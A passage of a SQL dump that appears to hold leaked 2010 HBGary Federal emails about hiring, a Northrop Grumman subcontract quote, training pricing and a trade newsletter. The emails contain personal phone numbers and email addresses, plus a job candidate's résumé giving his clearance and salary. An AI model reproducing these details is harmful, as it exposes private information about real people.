22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2704,'aaron_hbgary_com/2704.html'),(12210,'2010-09-23','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','/aaron@hbgary.com/new/1297009038.M643296P14101Q7065.eml','\"aaron\" <aaron@hbgary.com>','The job market and other stuff','Hi Aaron,Thanks again for coming on with us last night, we had a great time.I was curious if you wanted to talk some more about the job landscape and what you might have available.  I&#39;m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group.  \r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com\r\n\r\n',2438,'aaron_hbgary_com/2438.html'),(12211,'2010-09-23','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009038.M840590P14101Q7066.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: MS13 Delivery Postponed','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Britton, Douglas C\r\n[mailto:douglas.c.britton@lmco.com] \r\nSent: Thursday, September 23, 2010 6:08 AM\r\nTo: Racz, James M; Lentz, Jason M\r\nCc: Chapman, Martha\r\nSubject: MS13 Delivery Postponed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTeam, \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe are going to postpone the delivery to the 8th of October.&nbsp;\r\nThank you for your honest feedback and flexibility.\r\n\r\n&nbsp;\r\n\r\nIf anyone has crossovers they want to try to get processed\r\nin this time, for this activity, please contact Martha Chapman, CC:d above.\r\n\r\n&nbsp;\r\n\r\nThank you, \r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11059,'aaron_hbgary_com/11059.html'),(12212,'2010-09-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009039.M292151P14101Q7068.eml','\"Karen Burke\" <karen@hbgary.com>,\"Carma Beedle\" <carma@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,aaron@hbgary.com','Update messaging and elevator pitch',' \r\nKaren, Penny, Carma, Aaron,\r\n \r\nI am working on updating the elevator pitch and primary messaging.  My current pitch is getting out of date, and my master deck has almost 150 slides in it.  I need to simplify the pitch and focus it better on what matters right now in the market.  Carma, you have indicated you have opinions on website messaging.  Karen, you always have a good sense.  Penny, you always have an opinion.  Aaron, I have solicited your input.  I will try to write up a single page of text / bullets based on your feedback.  Please tell me how you think HBGary should be positioning itself throughout Q4 and possibly into Q1 of next year.\r\n\r\n \r\n-Greg\r\n',7890,'aaron_hbgary_com/7890.html'),(12213,'2010-09-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009039.M653389P14101Q7069.eml','\"Aaron Barr\" <aaron@hbgary.com>,ctobias@wiikno.com,\"Ted Vera\" <ted@hbgary.com>','Updated Invitation: WiiKno, Inc. HGary Discussion re: NCSC etc. @ Fri Sep 24 4pm - 5pm (aaron@hbgary.com)','This event has been changed. more details &raquo;WiiKno, Inc. HGary Discussion re: NCSC etc.Craig Tobias CTO WiiKnoAaron Barr HBGary Federal CEOTed Vera HBGary Fedaral CTOAgendaCraig Tobias is working on an NCSC project for information security -- handling a fiber component.  Craig approached HBGary to become a Reseller/Partner and introduce us to the NCSC.The purpose of the meeting is to explore the opportunity and partnership viability.  Craig also does work with social engineering.WhenChanged: Fri Sep 24 4pm – 5pm Eastern TimeWhereto be added (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;ctobias@wiikno.com&#x2022;Ted VeraGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',7495,'aaron_hbgary_com/7495.html'),(12214,'2010-09-23','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297009039.M75598P14101Q7067.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Training','Hi Aaron,\r\n\r\nLet me check with the training department at DG and reconcile some\r\nbudget questions for FY10.\r\n\r\nI will get back to you as soon as I know the level of commitment I can\r\nmake for FY10.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 23, 2010 5:17 AM\r\nTo: Daniel Collender\r\nCc: Ted Vera\r\nSubject: Re: Social Media Training\r\n\r\nDaniel,\r\n\r\nOk I understand.  We will update the quote and resend.  The pen test\r\nruns about 30k.  If we pare things down, only Longmont, push off the\r\nquarterly training it will probably come out around 70k.  Is that\r\naffordable for you?\r\n\r\nSincerely,\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 22, 2010, at 5:34 PM, \"Daniel Collender\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n>\r\n> My initial feedback is that I won\'t be able to meet that pricing in\r\n> 2010.\r\n>\r\n> A good portion of my budget this year is reserved for the cyber\r\n> forensics tools (Responder Pro, Active Defense)\r\n>\r\n> Could we redo the quote to include the Longmont training only? I will\r\n> forego the pen testing until 2011 if I can get the training completed\r\n> this year.\r\n>\r\n> Best,\r\n> Dan\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, September 21, 2010 6:52 AM\r\n> To: Daniel Collender\r\n> Cc: Ted Vera\r\n> Subject: Social Media Training\r\n>\r\n> * PGP - S/MIME Signed: 9/21/2010 at 6:51:44 AM\r\n>\r\n> Hey Daniel,\r\n>\r\n> Really interested to get your feedback on how we broke out the quote\r\nand\r\n> the training with the pen test timelines.  BTW, looks like Dr. Scott\r\nand\r\n> his wife no longer are on Facebook.  If your not a frequent user,\r\nwhich\r\n> they didn\'t seem to be.  For most I usually recommend a series of\r\nother\r\n> steps that can adequately provide protection as long as they implement\r\n> them.\r\n>\r\n> One thing I forgot to add to the quote was an initial pen testing\r\nreport\r\n> and a follow up mid and end year to quantify benefit of the training,\r\n> what people have picked up and haven\'t picked up.  This is an\r\nimportant\r\n> piece.  I will ask Ted to add and if everything else is ok we can\r\nresend\r\n> a final quote.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n> * Aaron Barr \r\n> * Issuer: \"VeriSign\r\n',1272,'aaron_hbgary_com/1272.html'),(12215,'2010-09-23','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297009039.M974420P14101Q7070.eml','aaron@hbgary.com','Questions and Answers for Government Contracting in Wake of Iraq Withdraw','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nBy Jim\r\n GarrettsonSeptember 23,\r\n 2010\r\nQuestions and Answers for\r\n Government&nbsp;Contracting in Wake of Iraq\r\n WarOn Sept. 1, President Barack Obama announced the end\r\n of U.S. combat operations in Iraq and declared it was time for America to \"turn\r\n the page.\" While a 50,000-strong force will remain in theater in an advisory role\r\n through the end of next year, training the nascent post-Saddam Iraqi military, the\r\n question remains: What will the future of defense contracting look like?&nbsp; Click here to read\r\n moreEd Casey Comments on Serco\'s Latest\r\n Contract VictorySerco secured a HAZMAT\r\n management deal with the U.S. Navy\'s Fleet and Industrial Supply Center Norfolk\r\n (FISCN).&nbsp; Click here to read\r\n moreQuantum Technology Pave Way for\r\n Faster-than-Light ComputingComputer chips could soon be\r\n using light rather than electricity,&nbsp; setting the stage for the introduction\r\n of a new technology that could be the foundation for IT industries and U.S.\r\n defense and intelligence agencies concerned with national security issues.\r\n Click here to read\r\n moreSecond Chance for SBINet? Mexican\r\n Border Heats UpWill\r\n SBINet get a second chance?Some say \"yes,\" but its brand may\r\n change.Last week, Alan Bersin, commissioner of Customs & Border Protection\r\n (CBP) at DHS, promoted Mark Borkowski, SBINet\'s project manager, to run a new\r\n office tasked with managing complex acquisition processes for CBP. &nbsp;The move\r\n is part of a broader effort at DHS to reexamine its approach to technology\r\n investment in response to a series of unflattering GAO reports and pursuant\r\n Congressional pressure. Click here to read\r\n moreWill\r\n Space Tourism Save Manned Space Flight in\r\n America?In April, Neil Armstrong wrote America was on a \"long downhill slide to\r\n mediocrity\" in space exploration, and that Obama\'s overhaul of NASA to privatize\r\n manned space flight and focus on missions like monitoring climate change will be\r\n \"devastating\" to manned space flight.&nbsp; However, an emerging market for \"space\r\n tourism\" might be a shot in the arm for American space\r\n exploration.&nbsp;Click here to read\r\n more\r\n\r\n\r\n\r\n\r\nJoseph M. Cormier Named Executive VP &\r\n CFO of GTEC&nbsp;Security Expert Richard Clarke to Address\r\n Potomac Officers Club October 5 Tiffany Jones of Symantec:\r\n No Longer Enough to Just Secure Infrastructure, System\r\n SAIC, Larry Cox\r\n Praised for Aerospace Education Efforts \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLockheed Wins\r\n Position on $2.8 Billion SSA IT Support Deal\r\nTriple the DoD\r\n Wins for BAE Systems\r\nHarris, ITT,\r\n Booz Allen Hamilton Collect Valuable Contracts\r\nNorthrop\r\n Grumman Snaps Up Trio of Defense Orders\r\nL-3 Snags GPS\r\n Capability Deal from Army SAIC Names\r\n Clark Enterprises CEO Lawrence C. Nussdorf to Board of Directors \r\nCSC Elevates\r\n James Taylor to New Leadership Role\r\nClick Here for More GovConwire  \r\n\r\nSAIC Honored\r\n for Supporting Next-Gen Cyber Warriors, Aerospace Education\r\nRaytheon\r\n Launches New Cybersecurity Product\r\nSafeNet, NetApp\r\n Team Up to Offer Secure Cloud-Based Storage\r\nShawn Henry to\r\n Head FBI Cyber Crime Branch\r\nCybersecurity,\r\n National Defense Luminaries Slated to Appear at Security Symposium\r\nClick Here for More from The New New\r\n Internet\r\n \r\n&nbsp;\r\nHarris Promotes\r\n Educational Events for National Aerospace Week\r\nIntelligent\r\n Decisions Kicks Off Knowledge Management Practice\r\nSAIC CEO Walt\r\n Havenstein to Launch Titans Breakfast Series\r\nGeneral\r\n Dynamics Wins Award to Provide Support for TSA\r\nCACI Awarded\r\n $19 Million Air Force Deal\r\nClick Here for More from GovCon Executive  US Navy Gets\r\n into Green Energy with Algae Biofuel \r\nVA Governor\r\n Proposes 4-Day Work Week\r\nDoD to Curb\r\n Consumption of Fuel, Water\r\nLow-Interest\r\n Rates Mean Opportunities for Small Businesses to Build,\r\n HireClick Here for More from ExecutiveGov \r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n&nbsp;&nbsp;\r\n \r\n &nbsp;\r\n\r\n\r\n \r\n\r\n\r\nJoseph M. Cormier\r\n Named Executive VP & CFO of\r\n GTECGlobal Defense Technology & Systems today named Joseph M. Cormier as its\r\n new vice president and chief financial officer.&nbsp; Click here to read\r\n more&nbsp;Security\r\n Expert Richard Clarke to Address Potomac Officers Club October\r\n 5Richard A. Clarke is an\r\n internationally-recognized expert on security, including homeland security,\r\n national security, cyber security, and counterterrorism. He is currently an on-air\r\n consultant for ABC News and teaches at Harvard\'s Kennedy School of\r\n Government.&nbsp; Click\r\n here&nbsp;for more information and to\r\n register&nbsp;Tiffany Jones of\r\n Symantec: No Longer Enough to Just Secure Infrastructure,\r\n SystemTiffany Jones\r\n joined Symantec Corporation eight and half years ago to stand up its office in\r\n Washington, D.C., and the government relations public policy and government\r\n relations team, which she ran for about seven years. More recently, she become\r\n director of Public Sector Strategy and Programs teams. In her role, she manages\r\n Symantec\'s relationships with the major systems integrators and the company\'s\r\n program\'s business, capture and proposal management function and business\r\n development teams. Prior to Symantec, Jones was a Coast Guard officer, with her\r\n most recent assignment belonging with Coast Guard Congressional Affairs. Other\r\n assignments include Ops officer on a ship out of Newport, R.I.; executive officer\r\n of a patrol boat out of Gloucester, Mass.; and deputy chief of staff for Richard\r\n Clarke in the White House. As deputy chief of staff, Jones was part of standing up\r\n the President\'s Critical Infrastructure Protection Board and Cybersecurity Office,\r\n as well as releasing the President\'s National Strategy to Secure\r\n Cyberspace.&nbsp;Click here to read\r\n moreSAIC, Larry Cox Praised for Aerospace Education\r\n Efforts&nbsp;&nbsp;SAIC\r\n (NYSE: SAI) won the Hoyt S. Vandenberg Award from the Air Force Association (AFA)\r\n for contributions to aerospace education. Click here to read\r\n more\r\n\r\n\r\n\r\nA Letter from the EditorThrough our weekly emagazine\r\n and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D. KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',6012,'aaron_hbgary_com/6012.html'),(12216,'2010-09-23','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297009040.M545049P14101Q7071.eml','\"Aaron Barr\" <aaron@hbgary.com>','Article','\r\n\r\nArticle\r\n\r\n\r\nAaron - \r\n\r\nThought you might find this of interest, if you had not seen it already. &nbsp;\r\n\r\n\r\n\r\n',11276,'aaron_hbgary_com/11276.html'),(12217,'2010-09-23','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297009040.M875155P14101Q7072.eml','\"Aaron Barr\" <aaron@hbgary.com>','Edward J M Challita','Eddy is available and ready to start with two weeks notice. &nbsp;Experience withVulnerability&nbsp;CANDIDATE NAME:			Edward J M ChallitaLIVES IN:						Columbia, MDCLEARANCE:&nbsp;					Top Secret SCI with CI PolyLOOKING FOR WORK BECAUSE: &nbsp;His current contract won\'t support his SCI/CI PolyPREFERS:					To stay around Columbia, MDWANTS TO WORK WITH:		Cyber CI, Cyber analyst, cyber threatsCURRENT SALARY:&nbsp;			$130,000SOME TRAVELCAN INTERVIEW ASAP AFTER &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4:30pm for face to faceCAN BEGIN WORKING:&nbsp;			Two weeks noticeProfessional Experience09/2009-PresentCyber CI AnalystLinthicum-MD &nbsp;SAICPerform intelligence analysis on adversary networks to support the DSS.&nbsp;Collaborate with analytical counterparts across the U.S. IntelligenceCommunity; apply knowledge of network fundamentals, open-source tools, andcurrent implementation of those technologies in order to devise all-sourceanalytic/collection strategies to pursue access and exploitation of targetsof interest.&nbsp;Perform all-source intelligence analyses of cyber activities to identifyentities of interest; their methods, motives, and capabilities; determinemalicious behavior; and recognize emergent patterns and linkages tovisualize the larger picture of cyber-based operations.&nbsp;Perform extensive post-mission, produce technical intelligence reports insupport of special programs and provide expertise and leadership to the teamin the development of analytical models and assessments.04/2009-08/2009Cyber Analyst at Fort MeadeMEPServe as a linguist in the support of the Army Cyber CounterintelligenceActivity at the 902d Military Intelligence Group.&nbsp;Conducted Counterintelligence collection operations in a cyber environmentto meet Army, DOD and national collection requirements.&nbsp;Provided linguistic and cultural subject matter expertise in support of asensitive Army mission. &nbsp;&nbsp;Conducted open source research and synthesized research with collectedintelligence to meet requirements and tasking.&nbsp;12/2008- 04/2009Senior Consultant Industry SpecialistCSC&nbsp;Planned, tracked and monitored all aspects of projects, ensuring adherenceto scope and budget. &nbsp;Manage security risk assessment, issue resolution and change managementinitiatives. &nbsp;Optimized LAN/WAN infrastructure to optimally support more than 6000 users,consisting of routers and switches.&nbsp;Analyzed System Development Life Cycle and Security Risk Management toensure appropriate and on-time resolution of technical issues.&nbsp;12/2006 - 09/2008Intelligence/Linguist for the DIA (Defense Intelligence Agency) NorthropGrumman and NWB NMEC, VA,&nbsp;Managed production of intelligence reporting from tactical to strategiclevel, responds to evaluations of intelligence reporting, formulatedintelligence requirements, targets and assesses intelligence gaps, createdand monitored analytical support products, conducted presentation ofintelligence products.&nbsp;DLPT 3/3 in Arabic and French and ALTA 5/509/2005 - 08/2006Intelligence/Linguist for the Defense Intelligence Agency Based in Qatar,worked with the DOD to interpret various data using my linguistic skills andmy High-tech background. Managed tools such as DOCEX for Humint.&nbsp;3/2004 - 06/2004Intelligence/Linguist for the Defense Intelligence Agency Based in Baghdad(Iraq), working with the US troops to interpret various data using mylinguistic skills and my High-tech background. Managed tools such as DOCEXfor Humint.Used my leadership experience to train the team on using the technical toolsto do the job.Part of the ISG (Iraqi Survey Group), received recognition andrecommendation.2001 -present- Silver Spring MDPresidentECI, LLCECI (Eddy Challita International, LLC) created and founded an ecommercewebsite:&nbsp;Eclectiquestores.com&nbsp;as well as a retail store in a Marylandshopping center.Handled licensing, raised the Capital to create the assets with the banks,and managed all related business aspects with the Corporation, from dealingwith resellers, trade shows and marketing.1/2000 -2001- Silver spring, MDRegional Sales Engineer-East coastEricsson IncBuilt channels partners to become our resellers, trained them and helpedthem on various events, trade shows, customers\' presentation, andimplementation.&nbsp;Surpassed the target quotas and closed many deals working with the salesteam.&nbsp;Traveled all over the country to qualify our leads working with the salesteam on a day to day basis between the Product Unit and Business Unit andmarketing to get every new product deployed and worked with tech support toget resolutions on issues encountered.Education:IDIT B.T.S (B.S. equivalent) Engineering/Business-Paris France.Fluent in French and Arabic\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comSEE THE HOT JOBS... CLICK THE LOGO LINK!&nbsp;\r\n\r\n',12942,'aaron_hbgary_com/12942.html'),(12218,'2010-09-23','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297009041.M136599P14101Q7073.eml','\"Aaron Barr\" <aaron@hbgary.com>','General Dynamics meeting in Annapolis','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nAny confirmation of Gen Dyn meeting for the Oct 5-6th\r\ntimeframe while I am in Bethesda?\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\nToby Richardson\r\n\r\nDirector, Western Region\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\nFidelis Security\r\n\r\nDallas, Texas\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n&nbsp;\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:&nbsp; Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9966,'aaron_hbgary_com/9966.html'),(12219,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009041.M637526P14101Q7074.eml','\"Schloemer, Scott A (XETRON)\" <Scott.Schloemer@ngc.com>,\"Schloemer, Scott A (XETRON)\" <Scott.Schloemer@ngc.com>','Re: EXTERNAL:Fwd: Green Eggs Subcontract Quote','Scott,\r\n\r\nAttached is the revised quote.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Thu, Sep 23, 2010 at 7:20 AM, Schloemer, Scott A (XETRON)\r\n wrote:\r\n> Not sure who Daniel Collender is, but can you send and update when you get a\r\n> chance and address it to Scott Schloemer.\r\n>\r\n> Thanks,\r\n>\r\n> Scott\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Thursday, September 23, 2010 9:13 AM\r\n> To: Masterson, Brian M (XETRON); Schloemer, Scott A (XETRON)\r\n> Subject: EXTERNAL:Fwd: Green Eggs Subcontract Quote\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: Ted Vera \r\n> Date: September 22, 2010 7:04:50 PM MDT\r\n> To: Barr Aaron \r\n> Subject: Fwd: FW: Green Eggs Subcontract Quote\r\n>\r\n> Please review and if you approve, forward to Brian and Scott (see below).\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Masterson, Brian M (XETRON) \r\n> Date: Wed, Sep 22, 2010 at 1:50 PM\r\n> Subject: FW: Green Eggs Subcontract Quote\r\n> To: Ted Vera , Aaron Barr \r\n>\r\n>\r\n> Ted,\r\n>\r\n> We need the quote for a week of consulting here and the associated\r\n> travel per diem costs to be addressed to Scott Schloemer.  You can\r\n> just send him an email with the cost and include the validity date for\r\n> the quote.\r\n>\r\n>\r\n>\r\n> Brian\r\n>\r\n>\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n>\r\n>\r\n> From: Carrier, Jeremy M (XETRON)\r\n> Sent: Wednesday, September 22, 2010 3:47 PM\r\n> To: Schloemer, Scott A (XETRON)\r\n> Cc: Kehr, Cari L (XETRON); Masterson, Brian M (XETRON)\r\n> Subject: RE: Green Eggs Subcontract Quote\r\n>\r\n>\r\n>\r\n> Thanks Scott. We will have the quote addressed to you.\r\n>\r\n>\r\n>\r\n> From: Kehr, Cari L (XETRON)\r\n> Sent: Wednesday, September 22, 2010 3:47 PM\r\n> To: Schloemer, Scott A (XETRON)\r\n> Cc: Carrier, Jeremy M (XETRON)\r\n> Subject: Re: Green Eggs Subcontract Quote\r\n>\r\n>\r\n>\r\n> They are on site this week.\r\n>\r\n>\r\n> From: Schloemer, Scott A (XETRON)\r\n> Sent: Wednesday, September 22, 2010 02:45 PM\r\n> To: Kehr, Cari L (XETRON)\r\n> Cc: Carrier, Jeremy M (XETRON)\r\n> Subject: RE: Green Eggs Subcontract Quote\r\n>\r\n>\r\n> We just need them to provide in writing a quote to cover the request\r\n> below. I would like to see it addressed to one of my buyers or myself\r\n> so It can be kept in our files should we place an order.\r\n>\r\n> As someone already approached HBGary or would you like one of the\r\n> buyers to contact them?\r\n>\r\n> Scott\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Kehr, Cari L (XETRON)\r\n> Sent: Wednesday, September 22, 2010 3:43 PM\r\n> To: Schloemer, Scott A (XETRON)\r\n> Cc: Carrier, Jeremy M (XETRON)\r\n> Subject: Fw: Green Eggs Subcontract Quote\r\n>\r\n>\r\n>\r\n> Scott,\r\n>\r\n> Please advise.\r\n>\r\n> Cari\r\n>\r\n>\r\n> From: Carrier, Jeremy M (XETRON)\r\n> Sent: Wednesday, September 22, 2010 01:01 PM\r\n> To: Kehr, Cari L (XETRON); Mylius, Harold J.\r\n> Cc: Masterson, Brian M (XETRON)\r\n> Subject: Green Eggs Subcontract Quote\r\n>\r\n>\r\n> Cari/Harold,\r\n>\r\n>\r\n>\r\n> For the Green Eggs proposal we are looking to utilized HBGary in a\r\n> consulting manner. We are asking them to quote one week of engineering\r\n> consulting and to include travel in the quote. We will then take that\r\n> amount and plan for as many as we can within $40K or so. What do we\r\n> officially need from HBGary in the form of a quote for the proposal?\r\n>\r\n>\r\n>\r\n> Jeremy\r\n>\r\n> ___________________________________\r\n> Jeremy M Carrier | Program Manager | Cyber Solutions | Northrop Grumman\r\n> Xetron\r\n> P: 513.881.3788 | M: 513.687.7833 | F: 513.881.3884 | E:\r\n> Jeremy.Carrier@ngc.com\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',444,'aaron_hbgary_com/444.html');
INSERT INTO `emails` VALUES (12220,'2010-09-23','\"carma\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297009041.M899528P14101Q7075.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Aaron Barr\" <aaron@hbgary.com>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','RE: SecDev - thank you!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n&nbsp;\r\n\r\nYou are very welcome, glad we could help.&nbsp; I hope the\r\nproject went well.&nbsp; If there is anything else we can do to assist, please\r\ndon&#8217;t hesitate to reach out.\r\n\r\n&nbsp;\r\n\r\nAlso, I manage the Canada region.&nbsp; If there are any other\r\nareas where we could work together, we would like very much to engage.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nCarma Beedle\r\n\r\n415 517 0663\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, September 22, 2010 7:45 AM\r\nTo: Aaron Barr; Carma Beedle\r\nCc: Rafal Rohozinski\r\nSubject: SecDev - thank you!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDear Aaron, Carma,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI just wanted to write a note to thank you both very much\r\nfor being so helpful and speedy with our request for HBGary products last week.\r\nI do truly appreciate the effort that went into the expedited service and\r\ndiscounting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, hope to see you soon at the Palantir govcon on\r\nOctober 12, and if not, then at SecTor in Toronto.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\nBusiness Capture &amp;\r\nAnalytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis email and any attached files are confidential and copyright\r\nprotected. If you are not the addressee, any dissemination of this communication\r\nis strictly prohibited. Unless otherwise expressly agreed in writing, nothing\r\nstated in this communication shall be legally 